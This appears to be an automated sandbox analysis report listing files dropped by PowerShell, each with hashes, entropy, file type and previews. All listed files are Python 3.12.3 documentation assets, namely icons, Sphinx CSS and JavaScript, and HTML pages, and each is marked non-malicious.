                    SHA-512:EAD39ADF0CBB8BF803977F277632B42C62AAEEDA8E4A57DD263AAA0851562BA27F069320B2EB29B7ED93D1682A965ECD61826BDF1CB2E15A68F08AE88DDD05CF
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR...............(....!IDATx.c8...g>@.;(..!.&...........].f2n..N....IEND.B`.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):14572
                    Entropy (8bit):7.96364542989978
                    Encrypted:false
                    SSDEEP:
                    MD5:971B2D0C44CB83CBD37FDCFD4E50E794
                    SHA1:D7C47BAE9A65CAD00E0A8B0FA0746B18FAEFDABA
                    SHA-256:AACC80A7392C51D971A98EF3DAE6C908D9A14229615C83A5DB97521DC4102C1E
                    SHA-512:E70F5F50BE8A932B73F973BC390804DD747367B8AC65E94B2AD140E3B5D4729AAC31FF0FA7070F895E5676555E3F87651FEDC0A394EDC9A3979D7C18B76D07E7
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR..............X....8.IDATx..y.\U...]{.SCWw.....2&....E.... .....-2..L...|.hu.LI..T.=.c.U.4....@.)Q.....C.S.....TUW..uNM].].....>g..]k.Mh...q.=...4.....q4.. ..q4.i....H-.L.(h.....-T.x.{~.-.H..G..O0.....L<...3..b43...!f.....df.D.........61.....3......H...oi.o......R..O....1.R4*.@..m......O.h......n......j.O[.z...>.s....-.e...yo0.`pD.&.i..03....5....`....3.v.is%01.)..d.. r.f&....R......]D.&C.I..4..d.m...k..Gn>o0...E.F........$.g...%.....0.'..?....k>R..D..].&..k..v..v.Z...L.`d...C.....`b..g..<..3s.g"fh@.L...0...G.........ZA..._.Bna.G.V....Dw..~...9....y..LU0XtwP......L.F..O..2..#.....c...Z.&rI...k.....cH.}..sx.ap..'g0. .s..9......A.;b.....,.4@..H@.I@.-.|....u.o...{..nx.).H{{..\=...<c.I`:...D 8...,...Y+rMX.3.{..c.....-<.1t...;...f.#1..0.$d...H..~...?..!.z.bN......wu..........l..T.<ZH.v*....f..1.. oWp.F.'.*.s..%.......0.a(;. q.J.}w......@g'....L..<.e....O..uF t.vl8VB.K.H'.e....Jy.c...{.<....23k......S;...Ywc..#.m..IzD.Q.......2.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):546
                    Entropy (8bit):5.147712648147712
                    Encrypted:false
                    SSDEEP:
                    MD5:FE5C6EBA8E34208205DCA55FA0281322
                    SHA1:1400F18FE4B664BE2CBE153454BD541FD2869764
                    SHA-256:44E2A28AAF473DCCF6AA6FB71681683524C4C6384CEA6AD4C2F1708E2121AB28
                    SHA-512:E814976CC74A51D034A1988DCAE06B69A0920E7CD90697C4D4D047F32AE526F6472FB3AAB85C1B81300CFEE2B2E99E29A0BAE530A4ADFEC10E5ABDFDC84D0BEE
                    Malicious:false
                    Reputation:unknown
                    Preview:<?xml version="1.0" encoding="UTF-8"?>..<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">.. <ShortName>Python</ShortName>.. <Description>Search Python 3.12.3 documentation</Description>.. <InputEncoding>utf-8</InputEncoding>.. <Url type="text/html" method="get".. template="https://docs.python.org/3.12/search.html?q={searchTerms}"/>.. <LongName>Python 3.12.3 documentation</LongName>..<Image height="16" width="16" type="image/x-icon">https://www.python.org/images/favicon16x16.ico</Image>..</OpenSearchDescription>
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 11 x 11, 8-bit grayscale, non-interlaced
                    Category:dropped
                    Size (bytes):90
                    Entropy (8bit):4.968947818574501
                    Encrypted:false
                    SSDEEP:
                    MD5:0D7849FD4D4148B7F78CAB60A087633A
                    SHA1:365ABE63DE063EF2D97D3CAACC43512415B5A835
                    SHA-256:54115199B96A130CBA02147C47C0DEB43DCC9B9F08B5162BBA8642B34980AC63
                    SHA-512:5A34F6B12A015E45E5E3F785D42CF75BD6CB2850C3D0BD85FC59D8EDBAB0A6543A9BBDC0A8A29A7F30BAF96B7780D0F87247B90B9597ED0FD265A8E50612AC4C
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR...............(....!IDATx.c8...g>@.;([..[...U...@l...-!a...@.....IEND.B`.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):695
                    Entropy (8bit):7.472596258888605
                    Encrypted:false
                    SSDEEP:
                    MD5:A721FC7EC672275E257BBBFDE49A4D4E
                    SHA1:88D4484552C4BEAC33D9A0848F523AAA66AAD78C
                    SHA-256:AE173DC4842351FC1C8A551AFBDB58CB2B295490782130DAA4F359A6A80D7256
                    SHA-512:7879A2953ACC3762C9ED55A19357BA12AD0B8BDB4E08DA9E3F21CB2853A481F8B1B4665FD03FB6F932F50450594193224CEEC10FE464B31936416E6584AEE9CD
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR................a....sRGB.........bKGD..............pHYs.................tIME.....8!.3'^...7IDAT8.e.OHUA...{.w{"....&hS.6.Z...mB*xP..MQ...A. ".)mZH... F.EF......2.....y3g........;.7..]....3i.s.v.M.....U.....}..\...x'.G.j.N,.Z.X.wQ....1 *.{.8k9.g.'v;..;.j./.t?|..[{\...N..j.E.%g..J=M}.W.....}x..v.^.{..Tn.J...N....\}..X.n..zw/..umY5;mg....Q."..SQ.}..,./.|..i...'}..S...@.B.................Wk..)`..j'..J/N.K@...e1M..FN,j}yhb.wp..+..K.S..Xb....@.:........_.=mU.5.EqR.'.4I.N.&t:..c.....j..l.....`zF..6..gu.G.f.pm".......J..(p..o.....q.G.0."....n...:".,.%8...4...+!..`..DoY-...4..,..5.3.......gob.;..3c..]..I...i...C....h.\nf]..................IEND.B`.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:SVG Scalable Vector Graphics image
                    Category:dropped
                    Size (bytes):2041
                    Entropy (8bit):4.73858862289631
                    Encrypted:false
                    SSDEEP:
                    MD5:0AC021A9F4CAE16DF1939CC056AEA75B
                    SHA1:7AB79AB732C9EAC4421A2CE0628E6C09155E5CB2
                    SHA-256:5865BE8BCC0AF888594903EA0112F6C8D923C5726C4081E8C856110CC7339CEF
                    SHA-512:C64D320499DCAE4D3D94ED34FBB741A0335761726276F7FE07D6AD1971742F5F2F3DA25CABBA8A63A7B7BB6CF9CAC9AF71B902CEB03644D2BEE84A24ECFE23E5
                    Malicious:false
                    Reputation:unknown
                    Preview:<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M7.90472 0.00013087C7.24498 0.00316295 6.61493 0.0588153 6.06056 0.15584C4.42744 0.441207 4.13093 1.0385 4.13093 2.14002V3.59479H7.99018V4.07971H4.13093H2.68259C1.56098 4.07971 0.578874 4.7465 0.271682 6.01495C-0.0826595 7.4689 -0.0983765 8.37618 0.271682 9.89434C0.546011 11.0244 1.20115 11.8296 2.32275 11.8296H3.64965V10.0856C3.64965 8.82574 4.75178 7.71441 6.06056 7.71441H9.91531C10.9883 7.71441 11.8449 6.84056 11.8449 5.77472V2.14002C11.8449 1.10556 10.9626 0.328486 9.91531 0.15584C9.25235 0.046687 8.56447 -0.00290121 7.90472 0.00013087ZM5.81767 1.17017C6.2163 1.17017 6.54184 1.49742 6.54184 1.89978C6.54184 2.30072 6.2163 2.62494 5.81767 2.62494C5.41761 2.62494 5.0935 2.30072 5.0935 1.89978C5.0935 1.49742 5.41761 1.17017 5.81767 1.17017Z" fill="url(#paint0_linear)"/>.<path d="M12.3262 4.07971V5.77472C12.3262 7.08883 11.1998 8.19488 9.9153 8.19488H6.06055C5.00466 8.19488 4.13092 9
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):13101
                    Entropy (8bit):4.713844241406214
                    Encrypted:false
                    SSDEEP:
                    MD5:2671E5A932CAF4097FD96F2CA64DDAA9
                    SHA1:815ECD07AE7CDFE81E82E7EB93337D8866C5AC60
                    SHA-256:F3AB1CDBEBD0AB51AA0CAEA1D09C6482FF6E58ED596B9E3BAA0FE47B029FEBA6
                    SHA-512:E3B0E633F206FE416BE283B698099C85F1D800D613365A549211339D5C91008E9E2A51D57035B70B896696702C20783C715F619F3F7E6AAE0D63FFB305DD9BAB
                    Malicious:false
                    Reputation:unknown
                    Preview:@import url('classic.css');../* unset some styles from the classic stylesheet */.div.document,.div.body,.div.related,.div.body h1,.div.body h2,.div.body h3,.div.body h4,.div.body h5,.div.body h6,.div.sphinxsidebar a,.div.sphinxsidebar p,.div.sphinxsidebar ul,.div.sphinxsidebar h3,.div.sphinxsidebar h3 a,.div.sphinxsidebar h4,..menu a,..menu p,..menu ul,..menu h3,..menu h3 a,..menu h4,.table.docutils td,.table.indextable tr.cap,.pre {. background-color: inherit;. color: inherit;.}../* Add underlines to links */.a[href] {. text-decoration: underline 1px;.}../* Increase the underline offset for code to avoid obscuring underscores */.a[href]:has(> code) {. text-underline-offset: 0.25em;.}../* No underline for navigation */.a.headerlink,.div.genindex-jumpbox a,.div.modindex-jumpbox a,.div#search-results a,.div.sphinxsidebar a,.div.toctree-wrapper a,.div[role=navigation] a,.table.contentstable a,.table.indextable a {. text-decoration: none;.}../* Except when hovered */.div.gen
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):2371
                    Entropy (8bit):5.01984802023824
                    Encrypted:false
                    SSDEEP:
                    MD5:DA320D3DE070F942BDAD563895E7636F
                    SHA1:FD8746DC6D18E076D66AA4C2B6B171056BEEC703
                    SHA-256:84B40EBB0CD283D71C30C96E60FAC3DD9D8C738C813613E99146F4D9AE1874E0
                    SHA-512:2491150B7BDAA4D4693246B25416E2285C43041A45E210777B16B97013544C3B00F7BEEDE4335287D38957BB05C23BA3F5996B3AAC504B7CE76B6F964E2034C6
                    Malicious:false
                    Reputation:unknown
                    Preview:./* Browser elements */.:root {. scrollbar-color: #616161 transparent;. color-scheme: dark;.}..html,.body {. background-color: #222;. color: rgba(255, 255, 255, 0.87);.}..div.related {. color: rgba(255, 255, 255, 0.7); /* classic overwrite */. border-color: #424242;.}../* SIDEBAR */.div.sphinxsidebar, .menu-wrapper {. background-color: #333;. color: inherit;.}..#sidebarbutton {. /* important to overwrite style attribute */. background-color: #555 !important;. color: inherit !important;.}..div.sidebar, aside.sidebar {. background-color: #424242;. border-color: #616161;.}../* ANCHORS AND HIGHLIGHTS */.div.body a {. color: #7af;.}..div.body a:visited {. color: #09e;.}..a.headerlink:hover {. background-color: #424242;.}..div.related a {. color: currentColor;.}..div.footer,.div.footer a {. color: currentColor; /* classic overwrites */.}..dt:target,.span.highlighted {. background-color: #616161;.}...footnote:target {. background-col
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):4976
                    Entropy (8bit):5.069794660694964
                    Encrypted:false
                    SSDEEP:
                    MD5:0FDF7C5DDE08416916309ED897659073
                    SHA1:351408174FDE3CC5650AF098B603C9B9299DE40B
                    SHA-256:88B3629FD3D7A222217C936818F992B0B6C40DDBB3266B2FA6D56E2A58849B11
                    SHA-512:F276BCC4B4F07BB85B1BD769B3129AE7B37E22B5CE420A058000C7B1F708F4478DF3A84A4896369CC35924A3BAE384FFFF8922ADC937E3828F7F453FEB2F0D1E
                    Malicious:false
                    Reputation:unknown
                    Preview:pre { line-height: 125%; }..td.linenos .normal { color: inherit; background-color: transparent; padding-left: 5px; padding-right: 5px; }..span.linenos { color: inherit; background-color: transparent; padding-left: 5px; padding-right: 5px; }..td.linenos .special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }..span.linenos.special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }...highlight .hll { background-color: #ffffcc }...highlight { background: #f8f8f8; }...highlight .c { color: #3D7B7B; font-style: italic } /* Comment */...highlight .err { border: 1px solid #FF0000 } /* Error */...highlight .k { color: #008000; font-weight: bold } /* Keyword */...highlight .o { color: #666666 } /* Operator */...highlight .ch { color: #3D7B7B; font-style: italic } /* Comment.Hashbang */...highlight .cm { color: #3D7B7B; font-style: italic } /* Comment.Multiline */...highlight .cp { color: #9C6500 } /* Comment.Preproc */...h
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):5139
                    Entropy (8bit):5.001030227512549
                    Encrypted:false
                    SSDEEP:
                    MD5:6BAB1AE2E37B08D2BF857361DD07958C
                    SHA1:D9233B5F65A1EBF333EE431A25FE257117C46899
                    SHA-256:B228D5A2C3B6A621F4D8573F755B74C33345C33A009BDBE0C04B855D656AC7A0
                    SHA-512:93895E3C19A26857AD8955258ABF22A1D04A586D5BF48E04A46094F1545653A671BABFE40B2E0B2DFDCE3E359D8A215906A2A4765A9B62435AF88C6EDF50B3D9
                    Malicious:false
                    Reputation:unknown
                    Preview:pre { line-height: 125%; }..td.linenos .normal { color: inherit; background-color: transparent; padding-left: 5px; padding-right: 5px; }..span.linenos { color: inherit; background-color: transparent; padding-left: 5px; padding-right: 5px; }..td.linenos .special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }..span.linenos.special { color: #000000; background-color: #ffffc0; padding-left: 5px; padding-right: 5px; }...highlight .hll { background-color: #49483e }...highlight { background: #272822; color: #f8f8f2 }...highlight .c { color: #959077 } /* Comment */...highlight .err { color: #ed007e; background-color: #1e0010 } /* Error */...highlight .esc { color: #f8f8f2 } /* Escape */...highlight .g { color: #f8f8f2 } /* Generic */...highlight .k { color: #66d9ef } /* Keyword */...highlight .l { color: #ae81ff } /* Literal */...highlight .n { color: #f8f8f2 } /* Name */...highlight .o { color: #ff4689 } /* Operator */...highlight .x { color: #f8f8f2 } /
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):559
                    Entropy (8bit):4.771802759201691
                    Encrypted:false
                    SSDEEP:
                    MD5:E7FFE039348E5AE047B97F246579B381
                    SHA1:301A4DD0FA54530684DE7CC7A863D27C449BA43C
                    SHA-256:0F0595EF5B2C2AFAF36A03DE9CFEF22EF15009DCAA1498AB6C19353C546F5680
                    SHA-512:A6FF347A7C874B322922C63FE1385615C0853E9202B95DF07D891A39032FF830956FBF500387D23C8C190FB14408A20032AD8F2717DE33771C8CE7BFD8AD0775
                    Malicious:false
                    Reputation:unknown
                    Preview:function isInputFocused() {. const activeElement = document.activeElement;. return (. activeElement.tagName === 'INPUT' ||. activeElement.tagName === 'TEXTAREA' ||. activeElement.isContentEditable. );.}..document.addEventListener('keydown', function(event) {. if (event.key === '/') {. if (!isInputFocused()) {. // Prevent "/" from being entered in the search box. event.preventDefault();.. // Set the focus on the search box. const searchBox = document.getElementById('search-box');. searchBox.focus();. }. }.});.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):18732
                    Entropy (8bit):4.823676806040573
                    Encrypted:false
                    SSDEEP:
                    MD5:98B20BA46411DEEFA7EFA94524097C2C
                    SHA1:641A3FA218CE4DA2A0A8FE282473D041DB73DC15
                    SHA-256:3012A521CA4C32C56939AF6A67E4F4B8F5FB80C2952E19CBF2FCBD697C4BB37D
                    SHA-512:4D6A716824F08F73178BF1694A0949ED18140D28C045FC0FFE14175B2921A3699541236A98ED187B02789D3DE8B4C6228ADAF1E28267EF882F9AF082B26AA263
                    Malicious:false
                    Reputation:unknown
                    Preview:/*. * searchtools.js. * ~~~~~~~~~~~~~~~~. *. * Sphinx JavaScript utilities for the full-text search.. *. * :copyright: Copyright 2007-2023 by the Sphinx team, see AUTHORS.. * :license: BSD, see LICENSE for details.. *. */."use strict";../**. * Simple result scoring code.. */.if (typeof Scorer === "undefined") {. var Scorer = {. // Implement the following function to further tweak the score for each result. // The function takes a result array [docname, title, anchor, descr, score, filename]. // and returns the new score.. /*. score: result => {. const [docname, title, anchor, descr, score, filename] = result. return score. },. */.. // query matches the full name of an object. objNameMatch: 11,. // or matches in the last dotted part of the object name. objPartialMatch: 6,. // Additive scores depending on the priority of the object. objPrio: {. 0: 15, // used to be importantResults. 1: 5, // used to be objectResults. 2: -5,
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:Unicode text, UTF-8 text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):2697
                    Entropy (8bit):4.868494495669144
                    Encrypted:false
                    SSDEEP:
                    MD5:DDE60BA867F1238B1446B2049901C00A
                    SHA1:ED59575D1E84E1B7EA5A1C2CB1C766F32AC3B266
                    SHA-256:99E280C84C96C9B75A134BF0F6AA2978BF1F65B7C72A9360D1CBC74BA54FB20A
                    SHA-512:D14D8D7680F976598F4766C90839A1DBB756F48DF360955F8404F375BC6792C70183C37C0E9DDE305D100CBABD3A8BC3CC1373F2DC9E86582F724D93C0374C53
                    Malicious:false
                    Reputation:unknown
                    Preview:/*.. * sidebar.js.. * ~~~~~~~~~~.. *.. * This file is functionally identical to "sidebar.js" in Sphinx 5.0... * When support for Sphinx 4 and earlier is dropped from the theme,.. * this file can be removed... *.. * This script makes the Sphinx sidebar collapsible... *.. * .sphinxsidebar contains .sphinxsidebarwrapper. This script adds.. * in .sphinxsidebar, after .sphinxsidebarwrapper, the #sidebarbutton.. * used to collapse and expand the sidebar... *.. * When the sidebar is collapsed the .sphinxsidebarwrapper is hidden.. * and the width of the sidebar and the margin-left of the document.. * are decreased. When the sidebar is expanded the opposite happens... * This script saves a per-browser/per-session cookie used to.. * remember the position of the sidebar among the pages... * Once the browser is closed the cookie is deleted and the position.. * reset to the default (expanded)... *.. * :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS... * :license: BSD, see LICENSE f
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, ASCII text
                    Category:dropped
                    Size (bytes):5123
                    Entropy (8bit):4.925223498348649
                    Encrypted:false
                    SSDEEP:
                    MD5:0CD5EF6415C4AF33C6FAF75B54102CF5
                    SHA1:7C8A5B8F897ED4E84ACD956218BEC2216F37C088
                    SHA-256:096231E9C87DF80EC3273DA9C5B71BC81503206726A07A4DD4DE44C256FF859C
                    SHA-512:809358B719AD7F27439E2302E04508A9DBE8CF39723CEF45D3057B23D5673A4024B65B7758A69B49AABF807C1F1A42930874468A7AFBA5539776491049EBF4A7
                    Malicious:false
                    Reputation:unknown
                    Preview:/* Highlighting utilities for Sphinx HTML documentation. */."use strict";..const SPHINX_HIGHLIGHT_ENABLED = true../**. * highlight a given string on a node by wrapping it in. * span elements with the given class name.. */.const _highlight = (node, addItems, text, className) => {. if (node.nodeType === Node.TEXT_NODE) {. const val = node.nodeValue;. const parent = node.parentNode;. const pos = val.toLowerCase().indexOf(text);. if (. pos >= 0 &&. !parent.classList.contains(className) &&. !parent.classList.contains("nohighlight"). ) {. let span;.. const closestNode = parent.closest("body, svg, foreignObject");. const isInSVG = closestNode && closestNode.matches("svg");. if (isInSVG) {. span = document.createElementNS("http://www.w3.org/2000/svg", "tspan");. } else {. span = document.createElement("span");. span.classList.add(className);. }.. span.appendChild(document.createTextNode(val.substr(pos, text.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):779
                    Entropy (8bit):4.698991607713142
                    Encrypted:false
                    SSDEEP:
                    MD5:4B5EEF9423B62E66EB345DC601BFC288
                    SHA1:5ED1C79C5A3573B233A74D344D2E2A720D433B5B
                    SHA-256:E83D4B134C20F038CF3FBEFAFCAC4F0B15DD224FA0189257E436291C52C6D54C
                    SHA-512:28D938C7308522E2BE6BEFD230FC74CE7119C0DEFC3054951DF529412CC143C94D62FEAF1643DF0F55EB92A9992775184211425057CD5A470253136A4054CB30
                    Malicious:false
                    Reputation:unknown
                    Preview:const pydocthemeDark = document.getElementById('pydoctheme_dark_css').const pygmentsDark = document.getElementById('pygments_dark_css').const themeSelectors = document.getElementsByClassName('theme-selector')..function activateTheme(theme) {. localStorage.setItem('currentTheme', theme);. [...themeSelectors].forEach(e => e.value = theme). switch (theme) {. case 'light':. pydocthemeDark.media = 'not all'. pygmentsDark.media = 'not all'. break;. case 'dark':. pydocthemeDark.media = 'all'. pygmentsDark.media = 'all'. break;. default:. // auto. pydocthemeDark.media = '(prefers-color-scheme: dark)'. pygmentsDark.media = '(prefers-color-scheme: dark)'. }.}..activateTheme(localStorage.getItem('currentTheme') || 'auto').
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):14755
                    Entropy (8bit):4.825013643605692
                    Encrypted:false
                    SSDEEP:
                    MD5:6DECA5ED947F3B43B2088EB4CB82B47C
                    SHA1:B0F6E8E262153DDDAD5EBCAC82A1DD6419BC5904
                    SHA-256:C4B77A791522911C51966D765048CE9716580E6212E39AC95B359BF785EA3E40
                    SHA-512:8DA915C66A2A346FC948A1B8FECD69BEEABB948C24A48DCAEA4AF0A99361392F69D10329540BFAE7A4CD147B95ADF46E6CA0BF4D0CE38F9C7CA8342C6E0D0565
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="About these documents" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/about.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These documents are generated from reStructuredText sources by Sphinx, a document processor specifically written for the Python documentation. Development of the documentation and its toolchain is ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These documents are generated from reStructuredText sources by Sphinx,
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19744
                    Entropy (8bit):4.88174789711368
                    Encrypted:false
                    SSDEEP:
                    MD5:194ECA6A70F0693649A0C17564B5A6C8
                    SHA1:9D67F7A4F04AC3DCBAC0C9A77FFE37DC83B11C7B
                    SHA-256:45E1E40288B4098D792AEE858152016A3FDED0AF79B7FD78912B65E411477CAB
                    SHA-512:0D9418EB1C55DF587A582E00339BDED3648CECDFAD4793F78A3D4B2E4AF4AC36C09302A8DBB745673361D85523955113FFFDD1731FA93494A7848756C8129B60
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="./">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Dealing with Bugs" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/bugs.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Python is a mature programming language which has established a reputation for stability. In order to maintain this reputation, the developers would like to know of any deficiencies you find in Pyt..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Python is a mature programming language which has established a reputation
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):16603
                    Entropy (8bit):4.856697584687944
                    Encrypted:false
                    SSDEEP:
                    MD5:57170BC017FABA6BAA30E47676F0B82F
                    SHA1:5545C292125A4F2057213D2B0024FD4738AB4CDF
                    SHA-256:CB71F3FCCCB711792D6CDCEC50FF1D523FA3AE0B8B76B9973E66452C5E7A84A6
                    SHA-512:61849E81416B07B31B3F11B7E3DA712F0ECA8DE92E2F13848B048D38E910F0983739B1E7AC4C0F97E8AA9E23BA72713CFFCBE60414C4F08A8DC4DBF283D6401C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Abstract Objects Layer" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/abstract.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The functions in this chapter interact with Python objects regardless of their type, or with wide classes of object types (e.g. all numerical types, or all sequence types). When used on object type..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The functions in this chapter interact with Python objects
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1254), with CRLF line terminators
                    Category:dropped
                    Size (bytes):23547
                    Entropy (8bit):4.905608536545633
                    Encrypted:false
                    SSDEEP:
                    MD5:BD845DBEED53B8C79994EB0FA130C66D
                    SHA1:F97B5C0B18C05805EA447692BC7A53F8B6C6149A
                    SHA-256:894F17F9D88D1D25D968CF1240D950FBE7C92B6E31640D1BA2670DC1A5FBA83D
                    SHA-512:B89B4A4D1CA716F73FA2D34024B9AED86606D6FFE1543140C39779F27FA9D991B1A2AF66B51A75E3A72F52A2F55BDB41F897981AF4369BACC8AC744220054E7C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Allocating Objects on the Heap" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/allocation.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta property="og:image:width" content="200" />..<meta property="og:image:height" content="200" />..<meta name="theme-color" content="#3776ab" />.... <title>Allocating Objects on the Heap &#8212; Python 3.12.3 documentation</title><meta name="viewport" content="width=device-width, initial-scale=1.0">.. .. <link rel="st
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (423), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20544
                    Entropy (8bit):4.946657739990355
                    Encrypted:false
                    SSDEEP:
                    MD5:3795D5DB681C6B3E5025F2C3DF00DD01
                    SHA1:0539C578532C3DB3C44CE08EDF57CD386E288AEA
                    SHA-256:5C5BB14B151D7EF802500A8AE3BE4285E929A88D096733EE930228BB1DB0803D
                    SHA-512:B218C957BDB79D9592297AB3499093448C90A5A07989D9E7B1C8964DAB4C8C30413017F2DB4B176D0108EB509365B8CE1570522DB478048D5164D7697339246F
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="API and ABI Versioning" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/apiabiversion.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="CPython exposes its version number in the following macros. Note that these correspond to the version code is built with, not necessarily the version used at run time. See C API Stability for a dis..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="CPython exposes its version number in the following ma
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1573), with CRLF line terminators
                    Category:dropped
                    Size (bytes):105280
                    Entropy (8bit):4.817954471982983
                    Encrypted:false
                    SSDEEP:
                    MD5:75E56C71F8C49F3EFB2973D14F1B8D93
                    SHA1:AFB958E3408E1D5BB1422F55F40B24C54F28076F
                    SHA-256:8A7E2FFC0F44AAFD08D9C7DE0D5D6428FE2F213AE000F0EB5029437975D94510
                    SHA-512:F880B23EA38720EB35838C46B3AD63DDB14F73A98E805F40F0D1E8C352B5CBC48820EF40C053407751BDE5A93FFC7B4AC0B3375F72AC931248540F23F19DD49F
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Parsing arguments and building values" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/c-api/arg.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="These functions are useful when creating your own extensions functions and methods. Additional information and examples are available in Extending and Embedding the Python Interpreter. The first th..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="These functions are useful when creating your own
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
